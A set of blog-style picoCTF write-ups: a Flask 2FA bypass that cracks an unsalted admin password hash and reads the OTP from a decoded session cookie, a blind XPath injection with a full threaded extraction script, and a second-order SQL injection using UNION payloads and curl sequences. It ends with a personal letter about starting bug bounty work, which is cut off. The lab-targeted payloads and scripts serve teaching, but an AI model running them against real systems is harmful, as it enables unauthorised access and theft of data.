"route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py ``` This challenge has very few routes: ```python @app.route("/") def home(): ... @app.route('/login', methods=['GET', 'POST']) def login(): ... @app.route('/two_fa', methods=['GET', 'POST']) def two_fa(): ... @app.route('/logout') def logout(): ... ``` The home page logic: ```python @app.route("/") def home(): if 'username' not in session or session['logged'] == 'false': flash('Please login to access this page', 'red') return redirect(url_for('login')) flag = "No flag for you!!" if session.get('username') == 'admin': flag = os.getenv('FLAG') return render_template("index.html", flag=flag) ``` From here we can lay out the conditions for getting the flag: ```text session must contain username session['logged'] must not be false session['username'] must equal admin ``` In other words: ```text We need to become an admin with logged=true ``` ## Step 3: Read the login and 2FA flow The core login logic: ```python user = db.get_user_by_username(username) if user and hashlib.sha256(password.encode()).hexdigest() == user['password']: if user['two_fa']: otp = str(random.randint(1000, 9999)) session['otp_secret'] = otp session['otp_timestamp'] = time.time() session['username'] = username session['logged'] = 'false' return redirect(url_for('two_fa')) else: session['username'] = username session['logged'] = 'true' return redirect(url_for('home')) ``` There are two key points here. First, the password is: ```python hashlib.sha256(password.encode()).hexdigest() ``` which means what's stored in the database is a SHA-256 hash. Second, if `two_fa` is true, an OTP is generated: ```python otp = str(random.randint(1000, 9999)) session['otp_secret'] = otp session['otp_timestamp'] = time.time() session['username'] = username session['logged'] = 'false' ``` This is the subtle part. It puts the OTP into `session['otp_secret']`, and in Flask's default session, the session contents live in a client-side cookie that is signed to prevent tampering — but not encrypted. So: ```text Can't just change it But can read it ``` This is the very heart of the whole challenge. Next, look at `/two_fa`: ```python @app.route('/two_fa', methods=['GET', 'POST']) def two_fa(): if request.method == 'POST': otp = request.form['otp'] stored_otp = session['otp_secret'] timestamp = session.get('otp_timestamp') if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120: session['logged'] = 'true' return redirect(url_for('home')) else: return render_template('2fa.html') else: return render_template('2fa.html') ``` This means: ```text As long as we know the otp_secret in the session and send it back within 120 seconds we can flip logged to true ``` ## Step 4: Look at the leaked users.db The `users.db` the challenge gives you is SQLite. You can inspect the schema with Python: ```bash python3 - <<'PY' import sqlite3 con = sqlite3.connect("users.db") cur = con.cursor() print("[tables]") tables = [r[0] for r in cur.execute( "SELECT name FROM sqlite_master WHERE type='table'" )] for t in tables: print("-", t) for t in tables: print(f"\n=== schema: {t} ===") for row in cur.execute(f"PRAGMA table_info({t})"): print(row) print(f"\n=== sample: {t} ===") for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"): print(row) PY ``` Tables: ```text users ``` The `users` schema: ```text id username email password two_fa ``` The admin row: ```text username = admin email = iamadmin@nfs.com password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67 two_fa = 1 ``` From here we can draw two conclusions: - admin has 2FA enabled, so after logging in it goes to `/two_fa` - admin's password hash has leaked, and there's no salt An unsalted SHA-256 is a great candidate for a dictionary attack. ## Step 5: Crack the admin password hash First save the admin hash to a file: ```bash python3 - <<'PY' import sqlite3 con = sqlite3.connect("users.db") cur = con.cursor() for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"): print(row) open("admin.sha256", "w").write(row[1] + "\n") PY cat admin.sha256 ``` Using hashcat: ```bash hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt hashcat -m 1400 admin.sha256 --show ``` Or john: ```bash john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256 john --format=raw-sha256 --show admin.sha256 ``` Result: ```text c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123 ``` Now we have the admin password: ```text apple@123 ``` But we're not done yet, because admin has `two_fa=1`, so after logging in we still get stuck at 2FA. ## Step 6: Log in as admin and grab the session cookie Log in with the password we just cracked: ```bash BASE='http://foggy-cliff.picoctf.net:XXXXX' PASS='apple@123' curl -sS -i -c cookies.txt -X POST "$BASE/login" \ --data-urlencode "username=admin" \ --data-urlencode "password=$PASS" \ -o login_admin.http sed -n '1,140p' login_admin.http cat cookies.txt ``` You'll see: ```http HTTP/1.1 302 FOUND Location: /two_fa Set-Cookie: session=... ``` This means: ```text The password is correct But admin gets redirected to 2FA ``` and `cookies.txt` now holds the Flask session cookie. ## Step 7: Decode the Flask session and read the OTP First install the tool: ```bash python3 -m pip install --user flask-unsign ``` Pull out the cookie: ```bash COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)" ``` Decode it: ```bash python3 -m flask_unsign --decode --cookie "$COOKIE" ``` You'll see something like: ```python { 'logged': 'false', 'otp_secret': '3412', 'otp_timestamp': 1788098991.6469016, 'username': 'admin' } ``` This is the most critical part of the whole challenge. `HttpOnly` is not the answer to this problem. `HttpOnly` only stops JavaScript in the browser from reading the cookie, but the user already has the cookie they received — with curl, Burp, browser devtools, or a proxy they can see the cookie value, and the contents of a Flask session are decodable. It's signed, so you can't just change it: ```text Change logged=false to logged=true ``` That would normally require knowing the Flask `SECRET_KEY` to re-sign it, but this challenge doesn't need us to change the cookie at all — the OTP is already sitting in the cookie, and we just need to read it. ## Step 8: Send the OTP and clear 2FA Send the `otp_secret` back to `/two_fa`: ```bash OTP='3412' curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \ --data-urlencode "otp=$OTP" \ -o twofa.http sed -n '1,120p' twofa.http ``` If it works, you'll see: ```http HTTP/1.1 302 FOUND Location: / Set-Cookie: session=... ``` This means `/two_fa` has already changed the session to: ```python session['logged'] = 'true' ``` Finally, check the home page: ```bash curl -sS -b cookies.txt "$BASE/" -o home.html grep -Eo 'picoCTF\{[^}]+\}' home.html ``` Result: ```text picoCTF{Redacted} ``` ### Key takeaways The full chain, put together, is: ```text users.db is leaked -> obtain admin's SHA-256 password hash -> crack admin's password with a wordlist -> log in as admin and land on /two_fa -> the OTP is placed in the Flask client-side session cookie -> the Flask session is signed, not encrypted -> decode the cookie and read out otp_secret -> POST the OTP -> become an admin with logged=true -> the home page shows the flag ``` The real problem isn't "the OTP is short enough to brute-force" — it's that **the OTP is placed in a session cookie the user can read**, and that's what turns 2FA into No FA. ### The real breakthrough is understanding: ```python session['otp_secret'] = otp ``` and knowing that: ```text Flask's default session is a signed cookie, not an encrypted cookie ``` Signed only guarantees "you can't change it"; only encrypted guarantees "you can't see it" — and for this challenge, being able to see the OTP is all it takes. ### picoCTF 2021 X marks the spot Writeup: Blind XPath Injection URL: https://taiwanding.com/en/picoctf-2021-x-marks-the-spot-blind-xpath-injection/ Last updated: 2026-09-19T06:36:20.000Z This one is a Web challenge from picoCTF 2021: `X marks the spot`. Open it up and it's pretty plain: a login page with two fields, `username` and `password`. But the page deliberately drops in a suspicious line: > I don't use any of those regular old unsafe query languages! That line is practically spelling it out: I'm not SQL. When you first see a login box, your instinct is to throw in a `' or 1=1--`, but the real lesson here isn't "memorize one universal payload" — it's this: **Some query languages aren't SQL, but the injection logic is identical: even when the site will only answer you TRUE/FALSE, you can still pull the data out one character at a time.** This challenge is blind XPath injection. ## Challenge info - Challenge: X marks the spot - Category: Web Exploitation - Platform: picoCTF 2021 - Link: [https://learn.cylabacademy.org/library/185](https://learn.cylabacademy.org/library/185?ref=taiwanding.com) ## What is XPath Injection XPath is a query language for searching XML documents. It's a bit like SQL — the difference is that SQL queries tables while XPath queries XML nodes. For example: ```xpath /root/user[name='admin' and pass='password'] ``` Roughly, this means: > Find the `` under `` where `` is `admin` and `` is `password`. If the backend splices user input straight into the XPath, you get XPath injection. Its root cause is really the same as SQLi: ```text A user-controlled string gets spliced straight into the query and changes the structure of the query ``` The only difference is that the query language switched from SQL to XPath. ## Step 1: Look at the login page and the hints First, lay out the clues the challenge gives us: - A login page with two fields, `username` and `password` - The hint: `I don't use any of those regular old unsafe query languages!` - The challenge is named `X marks the spot` - A Robert Frost poem is tucked into the source-code comments, full of words like road and path Connect the dots: ```text Not SQL (the hint says so itself) Keeps pointing at path (the title, the poem) So could it be XPath? ``` This step doesn't require firing off any payload yet. We're just forming a hypothesis: this challenge is very likely XPath. Every step from here on is about confirming or disproving it. ## Step 2: Check whether there's a boolean signal The interesting thing about this challenge is that it doesn't just let us log in and hand over a page — instead it gives us a boolean signal. First send a payload that's always true: ```text ' or '1'='1 ``` The site returns: ```text You're on the right path ``` Now send one that's always false: ```text ' or '1'='2 ``` The site returns a login failure. Same input, one character different, and the response reliably changes. That means we can't necessarily see the query result, but we can get a yes/no — that's the flavor of blind injection: the page itself doesn't spit out the data, but it uses "two different responses" as its true/false answer. ## Step 3: Confirm the XPath expression is really being executed Just proving there's a "true/false difference" isn't enough, because that could also be caused simply by a wrong password. The next step is to prove that what we inject is actually being evaluated as XPath. Test an XPath function that's guaranteed to be true: ```text ' or starts-with('abc','a') or '1'='2 ``` The response is TRUE (right path). Now test one that's guaranteed to be false: ```text ' or starts-with('abc','z') or '1'='2 ``` The response is FALSE. `starts-with('abc','a')` and `starts-with('abc','z')` differ only in the function's result, and the site's response tracks that result. That all but confirms it: the XPath expression we inject really is being executed by the backend. At this point the hypothesis holds — this is XPath injection, and it's blind. ## Step 4: Figure out what we're actually asking Before automating, let's use a toy example to spell out exactly how we ask the flag out of it. Suppose the backend XML looks like this: ```xml admin secret123 picoCTF{hat} ``` The backend query is probably something like this: ```xpath /root/user[name='admin' and pass='user input'] ``` Normal input of `abc` turns into: ```xpath /root/user[name='admin' and pass='abc'] ``` Nothing matches, so it fails. But if you put this in the password field: ```text ' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2 ``` The backend splices it into something like: ```xpath /root/user[name='admin' and pass='' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2'] ``` The heart of it is this piece: ```xpath starts-with(substring-after(string(/*),'picoCTF{'),'h') ``` Unpacking from the inside out: `string(/*)` joins all the text under the XML root node into a single string, conceptually like: ```text admin secret123 picoCTF{hat} ``` `substring-after(string(/*),'picoCTF{')` pulls out the content after `picoCTF{`: ```text hat} ``` `starts-with('hat}','h')` asks whether that string starts with `h`, and the answer is TRUE. The site won't print `hat}` to us directly, but through "right path" or "login failure" it tells us the TRUE/FALSE of that question. So we're really playing a yes/no game: | Question | Answer | Inference | | ------------------------------------------ | ------ | ---------------- | | Does the part after picoCTF{ start with a? | FALSE | Not a | | Does it start with b? | FALSE | Not b | | Does it start with h? | TRUE | First char is h | | Does it start with ha? | TRUE | Second char is a | | Does it start with hat? | TRUE | Third char is t | | Does it start with hat}? | TRUE | Done | In one sentence: > Each time we ask just one yes/no question, and by stacking up many yes/no answers we reconstruct the text hidden in the XML. ## Step 5: Turn the character-by-character approach into a parallel one The `starts-with(prefix + candidate)` approach from Step 4 has one drawback: each step depends on the previous one. ```text Without knowing the first char, you can't ask about the second Without knowing the second char, you can't ask about the third ``` You can only work forward one position at a time, which is slow. Ask it a different way and everything changes: ```xpath substring(flag_body, pos, 1) ``` Instead of asking "is the current prefix correct," it directly asks "what is the character at position `pos`," for example: ```xpath substring(flag_body, 5, 1) ``` This asks about the 5th character on its own — each position is independent of the others: | Position | Question | | -------- | --------------------- | | 1 | What is character 1? | | 2 | What is character 2? | | 3 | What is character 3? | | 10 | What is character 10? | Because the positions are independent, you can query them with multiple threads at once, with no need to wait for the previous one. Going further, for each position you don't have to try all 95 printable ASCII characters one by one — you can use binary search: ```xpath contains('half of the candidate chars', substring(flag_body, pos, 1)) ``` TRUE means the character is in the left half, FALSE means the right half. With 95 candidate characters, about 7 queries pin down one character. At this point the strategy is complete: first ask for the length, then binary-search the character at each position, running the positions in parallel. ## Step 6: Automate extracting the whole flag Turn the Step 5 strategy into a script. Here's what it does: 1. First confirm that `picoCTF{` is in the XML 2. Use `substring-before(..., '}')` to grab only the content between `{` and `}` 3. Binary-search the character at each position 4. Use a thread pool to query different positions in parallel 5. Don't keep the real flag in the output First set the target and parameters: ```bash BASE='http://wily-courier.picoctf.net:XXXXX' WORKERS=8 VOTES=1 ``` If the server's responses are unstable, lower the concurrency and raise the vote count: ```bash WORKERS=6 VOTES=3 ``` The script: ```python import os import time import threading import requests from concurrent.futures import ThreadPoolExecutor, as_completed BASE = os.environ["BASE"].rstrip("/") WORKERS = int(os.environ.get("WORKERS", "8")) VOTES = int(os.environ.get("VOTES", "1")) KNOWN = "picoCTF{" CHARS = ''.join(chr(i) for i in range(32, 127)) _tl = threading.local() def sess(): s = getattr(_tl, "s", None) if s is None: s = requests.Session() _tl.s = s return s def lit(s): if "'" not in s: return "'" + s + "'" if '"' not in s: return '"' + s + '"' parts = [] for i, p in enumerate(s.split("'")): if i: parts.append('"\'"') if p: parts.append("'" + p + "'") return "concat(" + ",".join(parts) + ")" AFTER = f"substring-after(string(/*),{lit(KNOWN)})" BODY = f"substring-before({AFTER},{lit('}')})" def one(expr): payload = f"' or {expr} or '1'='2" for _ in range(3): try: r = sess().post( BASE + "/", data={"name": "admin", "pass": payload}, timeout=10, ) return "right path" in r.text.lower() except requests.RequestException: time.sleep(0.25) raise RuntimeError("request failed") def oracle(expr, votes=None): votes = votes or VOTES yes = 0 for _ in range(votes): yes += one(expr) time.sleep(0.02) return yes >= (votes // 2 + 1) def length_ge(n): return oracle(f"string-length({BODY})>={n}") def get_length(): if not oracle(f"contains(string(/*),{lit(KNOWN)})", votes=3): raise SystemExit("[!] cannot confirm picoCTF{") if not oracle(f"contains({AFTER},{lit('}')})", votes=3): raise SystemExit("[!] cannot confirm closing }") lo, hi = 0, 1 while length_ge(hi): lo, hi = hi, hi * 2 if hi > 256: raise SystemExit("[!] length too large, check target/noise") while hi - lo > 1: mid = (lo + hi) // 2 if length_ge(mid): lo = mid else: hi = mid return lo def char_expr(pos): return f"substring({BODY},{pos},1)" def char_at(pos): pool = CHARS while len(pool) > 1: mid = len(pool) // 2 left = pool[:mid] if oracle(f"contains({lit(left)},{char_expr(pos)})"): pool = left else: pool = pool[mid:] c = pool[0] if oracle(f"{char_expr(pos)}={lit(c)}", votes=3): return c for c in CHARS: if oracle(f"{char_expr(pos)}={lit(c)}", votes=3): return c return None print("[+] probing body length...", flush=True) L = get_length() print(f"[+] body length = {L}", flush=True) result = [None] * (L + 1) with ThreadPoolExecutor(max_workers=WORKERS) as ex: futs = { ex.submit(char_at, pos): pos for pos in range(1, L + 1) } for fut in as_completed(futs): pos = futs[fut] try: result[pos] = fut.result() except Exception as e: print(f"[!] pos {pos} error: {e}", flush=True) print(f"[.] pos {pos:>2}/{L} = {result[pos]!r}", flush=True) missing = [ i for i in range(1, L + 1) if result[i] is None ] if missing: print("[!] retry missing positions sequentially:", missing, flush=True) for pos in missing: result[pos] = char_at(pos) print(f"[.] retry pos {pos:>2}/{L} = {result[pos]!r}", flush=True) body = ''.join(result[i] or '?' for i in range(1, L + 1)) print("[+] flag:", KNOWN + body + "}", flush=True) if "?" in body: print("[!] still has ?. Try WORKERS=6 VOTES=3", flush=True) ``` How to run it: ```bash BASE='http://wily-courier.picoctf.net:XXXXX' WORKERS=8 VOTES=1 BASE="$BASE" WORKERS="$WORKERS" VOTES="$VOTES" python3 solver.py ``` When it finishes it reconstructs the flag position by position. If the output still contains a `?`, it means some positions didn't resolve stably under the noise — follow the hint and rerun with `WORKERS=6 VOTES=3`. ## Key takeaways The most valuable thing to take away from this challenge isn't XPath syntax — it's this way of thinking: ```text Are you XPath? Will you give me a stable true/false? Does the function I inject actually get evaluated? Can I ask character by character? Can I ask out of order, and in parallel? ``` Next time you see a feature that only answers true/false, pay special attention to: - Login, search, filter — is the feature backed by XML + XPath? - When the page hints at "no SQL," "query language," "path," "XML," or "document," is it pointing at a query language? - Even without an error message, as long as the response has two stable states, it could be a blind-injection channel. ### picoCTF 2026 ORDER ORDER Writeup: Second-Order SQL Injection URL: https://taiwanding.com/en/picoctf-2026-order-order-second-order-sql-injection/ Last updated: 2026-09-19T06:36:20.000Z This is a Web challenge from picoCTF 2026: `ORDER ORDER`. The challenge description is short: > Can you try to get the flag from our website. I've prepared my queries everywhere! I think! When you first see `prepared my queries everywhere`, your instinct is SQL injection. But the real thing worth learning here isn't "throw a `' OR 1=1--` at every input box you see" — it's understanding this: **Some SQL injection doesn't fire on the spot — it gets stored, and only fires later.** That's second-order SQL injection. ## Challenge info - Challenge: ORDER ORDER - Category: Web Exploitation - Difficulty: Hard - Platform: picoCTF 2026 - Challenge link: [https://learn.cylabacademy.org/library/752](https://learn.cylabacademy.org/library/752?ref=taiwanding.com) I'll write this the way the solve actually went. The point isn't to memorize the final payload — it's to record how I observed, corrected, and confirmed my reasoning at each step along the way. ## What is second-order SQL injection A regular first-order SQL injection goes like this: ```text Enter payload -> backend runs it in SQL immediately -> you see the result or error on the spot ``` For example, a login form directly sends: ```sql ' OR 1=1-- ``` If the backend concatenates it into SQL right then, you might log in immediately or get an error. Second-order SQL injection is a bit different: ```text Stage 1: the payload gets stored in the database Stage 2: some later feature pulls that data back out and concatenates it into SQL Stage 3: only now does the vulnerability trigger ``` So the payload may look a lot like ordinary SQLi, but you test it differently. You can't just check whether it blows up at registration time — you also have to find which later feature reuses that data. In this challenge the "storage point" is `username`. In this challenge the "trigger point" is `Generate Report`. ## Step 1: Basic recon first First set the target: ```bash BASE='http://crystal-peak.picoctf.net:51724' ``` Grab the home page: ```bash curl -sS -i -c cookies.txt "$BASE/" -o 00_home.http sed -n '1,220p' 00_home.http grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 00_home.http ``` On the home page you can see: ```html
  • Sign up
  • Login
  • ``` Register a normal account first, then log in and see what features are available: ```bash USER="u$(date +%s)" EMAIL="$USER@test.local" PASS="Passw0rd!" curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" \ -o 02_signup_post.http curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" \ -o 03_login_post.http curl -sS -i -b cookies.txt -c cookies.txt "$BASE/" -o 04_authed_home.http grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 04_authed_home.http ``` After logging in you see: ```html
  • Dashboard
  • Expenses
  • Inbox
  • Logout
  • ``` Next, look at `/expenses`: ```bash curl -sS -i -b cookies.txt -c cookies.txt "$BASE/expenses" -o expenses.http sed -n '1,260p' expenses.http ``` You can see two forms: ```html
    ``` At this point we know there are at least two avenues to test: - the expense fields `description / amount / date` - `username`, because the report has to know "who the current user is" ## Step 2: Generate a normal report first Click Generate Report once: ```bash curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/generate_report" -o 05_report.http sleep 11 curl -sS -i -b cookies.txt -c cookies.txt "$BASE/inbox" -o 06_inbox.http grep -Eoi 'href="[^"]+"' 06_inbox.http ``` A download link appears in the Inbox: ```text /download_report/1 ``` Download the CSV: ```bash curl -sS -L -b cookies.txt "$BASE/download_report/1" -o normal.csv cat normal.csv ``` Result: ```csv description,amount,date ``` This output looks empty, but it actually carries one important piece of information: **The report output has three columns: `description, amount, date`.** If we want to use `UNION SELECT` later, we'll need to line up three columns too. ## Step 3: How do we know username is the problem This is the most crucial observation in the whole challenge. We didn't know from the start that `username` had a second-order injection — we guessed it from the data flow: ```text The report has to query the current user's expenses The backend might use username or user_id as the condition If it concatenates username into SQL, there could be trouble ``` So first register an account whose username contains just a single quote: ```bash C=quote_test.txt USER="qt$(date +%s)'" EMAIL="qt$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o quote_inbox.html grep -Ei 'failed|error|unrecognized|syntax|download_report|Expense report' quote_inbox.html ``` The result comes back as: ```html Report generation failed. Cause unrecognized token: "'qt1788089522''" ``` This line is almost the backend telling us directly: ```text When I generated the report, I took your username and built SQL out of it And your single quote broke that SQL ``` If the backend safely queried by `user_id`, or used a prepared statement correctly, this error shouldn't appear. So this step isn't about grabbing the flag — it's about confirming: **username is the storage point, and Generate Report is the trigger point.** ## Step 4: Use a marker to prove we can control the output Next we go from "able to make SQL throw an error" to "able to control the SQL query result." At this point I'll drop in a marker. A marker is a tag we deliberately inject, for example: ```text VULN ``` It's not a flag, and it's not a special command — it's just there to confirm whether the data flows out the way we intend. The payload: ```sql mk123' UNION SELECT 'VULN',123,'2026-01-01'-- ``` Full test: ```bash C=marker.txt USER="mk$(date +%s)' UNION SELECT 'VULN',123,'2026-01-01'--" EMAIL="mk$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o marker_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' marker_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o marker.csv cat marker.csv ``` Result: ```csv description,amount,date VULN,123,2026-01-01 ``` This result matters. It means: ```text The SQL we put into username at registration actually got executed during Generate Report and the result was written into the CSV ``` If we imagine the backend SQL like this: ```sql SELECT description, amount, date FROM expenses WHERE username = ''; ``` Then after the payload is injected into username, it becomes: ```sql SELECT description, amount, date FROM expenses WHERE username = 'mk123' UNION SELECT 'VULN',123,'2026-01-01'--'; ``` Three tokens here are key: - `'`: closes off the original username string - `UNION SELECT`: appends our own query result after the report's result - `--`: comments out the tail the backend originally appended ## Step 5: Work out the UNION column count from the CSV columns The earlier normal report already told us: ```csv description,amount,date ``` So the original query is probably three columns: ```sql SELECT description, amount, date FROM expenses ... ``` The rule for `UNION SELECT` is that both sides must have the same number of columns. So our payload needs three columns too: ```sql UNION SELECT 'VULN',123,'2026-01-01' ``` This is why the marker test wasn't written at random: ```text Column 1: put the text VULN, mapping to description Column 2: put the number 123, mapping to amount Column 3: put a date string, mapping to date ``` If the column count is wrong, you usually see something like: ```text SELECTs to the left and right of UNION do not have the same number of result columns ``` But in this challenge the CSV header conveniently spelled out all three columns for us. ## Step 6: Confirm the database type and enumerate the tables The error message contained `unrecognized token`, and combined with the Python/Werkzeug stack that's common for these challenges, this looks a lot like SQLite. SQLite's schema information can be queried from `sqlite_master`: ```bash C=tables_51724.txt USER="tb$(date +%s)' UNION SELECT name,0,'2026-01-01' FROM sqlite_master WHERE type='table'--" EMAIL="tb$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o tables_51724_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' tables_51724_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o tables_51724.csv cat tables_51724.csv ``` Result: ```csv description,amount,date aDNyM19uMF9mMTRn,0,2026-01-01 expenses,0,2026-01-01 inbox,0,2026-01-01 reports,0,2026-01-01 sqlite_sequence,0,2026-01-01 users,0,2026-01-01 ``` Here we can make an initial judgment: - `expenses`: normal application table - `inbox`: normal application table - `reports`: normal application table - `users`: normal application table - `sqlite_sequence`: SQLite's system table for auto-increment - `aDNyM19uMF9mMTRn`: very suspicious In CTF challenges, a garbled table name like this is usually not just decoration. But don't dump it straight away — the safer move is to look at the schema first. ## Step 7: Query the schema and confirm the column names Query the `CREATE TABLE` for every table: ```bash C=schema_51724.txt USER="sc$(date +%s)' UNION SELECT sql,0,'2026-01-01' FROM sqlite_master WHERE type='table'--" EMAIL="sc$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o schema_51724_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' schema_51724_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o schema_51724.csv cat schema_51724.csv ``` The schema of the suspicious table: ```sql CREATE TABLE aDNyM19uMF9mMTRn ( name TEXT PRIMARY KEY, value TEXT NOT NULL ) ``` Now we have the full picture: ```text Suspicious table: aDNyM19uMF9mMTRn Columns: name, value Report output column count: 3 ``` So in the end we just map `name` and `value` to the report's first two columns and add a date column. ## Step 8: Dump the suspicious table The payload: ```sql dp123' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn-- ``` Full test: ```bash C=dump_51724.txt USER="dp$(date +%s)' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--" EMAIL="dp$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o dump_51724_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' dump_51724_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o dump_51724.csv cat dump_51724.csv ``` Result: ```csv description,amount,date flag,picoCTF{Redacted},2026-01-01 ``` Flag: ```text picoCTF{Redacted} ``` ## How we reasoned out the SQL along the way We didn't pull payloads out of thin air — at each step we asked the website a small question: ```text How many columns do you have? Are you SQLite? What tables do you have? What columns does your suspicious table have? How do I get those columns back into the CSV? ``` This is also why the marker matters. If you go straight for the flag from the start, it might work, but you won't learn the reasoning in between. The marker's job is to turn "I think there's a hole here" into "I can prove I control the SQL query result." ## Key takeaways What I think is most worth taking away from this challenge isn't SQLite syntax — it's this way of thinking: ```text Find the storage point Find the trigger point Use a single quote to confirm the SQL is tainted Use a marker to confirm the output is controllable Use schema enumeration to cut down guessing Only then query the real target ``` Next time you run into this kind of feature, pay special attention to: - After registering a username, where does the username get displayed or queried again? - Do product names, order names, project names, or folder names get reused by back-office reports? - When exporting CSV, PDF, or Excel, does it rebuild SQL? - Do the admin panel's search, sort, report, and statistics features consume data the user entered earlier? A lot of the time, the real problem isn't the input box itself — it's the query that runs a few minutes later, a few pages later, or even inside another background worker. That's what makes second-order SQL injection interesting. It's not a punch straight at the door. You put something into the system first, and only when the system pulls it back out to use it does it turn out that thing changes the meaning of the query. ### A Letter from a Student in India: Curious About Bug Bounty? Let's Talk URL: https://taiwanding.com/en/a-letter-from-a-student-in-india-lets-talk-bug-bounty/ Last updated: 2026-09-19T06:36:19.000Z A while ago, I got an email from a computer science student in India. He said he'd found me through my Intigriti profile. It wasn't long, but it was sincere. He likes low-level and OS-related stuff and enjoys writing C, but when it comes to finding CVEs, he's a complete beginner. He asked three very specific questions: how I got started researching Trusted Firmware, how I usually go about finding places that might have security issues, and what level of PoC the program typically expects to see when you submit a report. What stuck with me most was the line he opened with: "If it's not rude to ask." ![](https://taiwanding.com/content/images/2026/09/image.png) First, a bit of context on why he reached out to me. In January this year, I reported a security issue in Trusted Firmware-A through Intigriti. It was later included in the official [TFV-15 security advisory](https://trustedfirmware-a.readthedocs.io/en/lts-v2.14.4/security%5Fadvisories/security-advisory-tfv-15.html?ref=taiwanding.com) and assigned CVE-2026-34878. In short: before verifying an image, the bootloader first reads the table-of-contents information in the firmware package to work out where each piece of data lives and how big it is. The checks on that information weren't thorough enough at the time, and under certain conditions this could leak data from secure memory during boot, or cause the boot to abort. What stuck with me about this bug is that even if signatures get verified later, the parsing steps that come before that still need proper security checks. That record is probably why he came to me. But as I was writing back, I realized that the three things he asked about—how to get started, how to find issues, how far to take a PoC—come up just the same if you're researching web apps, WordPress plugins, or some API. The technical details differ, but the questions you have when you're just starting out are remarkably similar. The email also made me think that maybe there are people in Taiwan with the same questions who just don't know who they could talk to. So I want to use this chance to make the invitation clear: if you're in Taiwan and you're interested in bug bounty, finding CVEs, or security research, you're very welcome to reach out and chat. You don't need to work on firmware, you don't need to know low-level stuff, and you definitely don't need a CVE or a bounty payout under your belt before you ask. Whatever area you're exploring, or even if you're just curious and don't know where to start yet, that's fine. For example: - You don't know which target or which platform to start with. - You found something suspicious, but you're not sure whether it counts as a vulnerability or whether it's worth reporting. - You're not sure how to write the report, or what your PoC needs to show to be clear enough. - You can't quite make sense of a program's scope and rules. - Or you just want to know what doing security research and taking part in bug bounty programs is actually like. I've been stuck on plenty of these myself. Some of them don't look complicated in hindsight, but at the time they took me quite a while to figure out. What I can share is how I got started, where I took detours, and what I've learned about reporting and communicating with programs. If any of that happens to help you figure out your next step, it's well worth a conversation. Back to that line: "If it's not rude to ask." I know that hesitation well. You feel like you have to read enough first, get good enough, or at least build something before you're allowed to ask anyone. And when 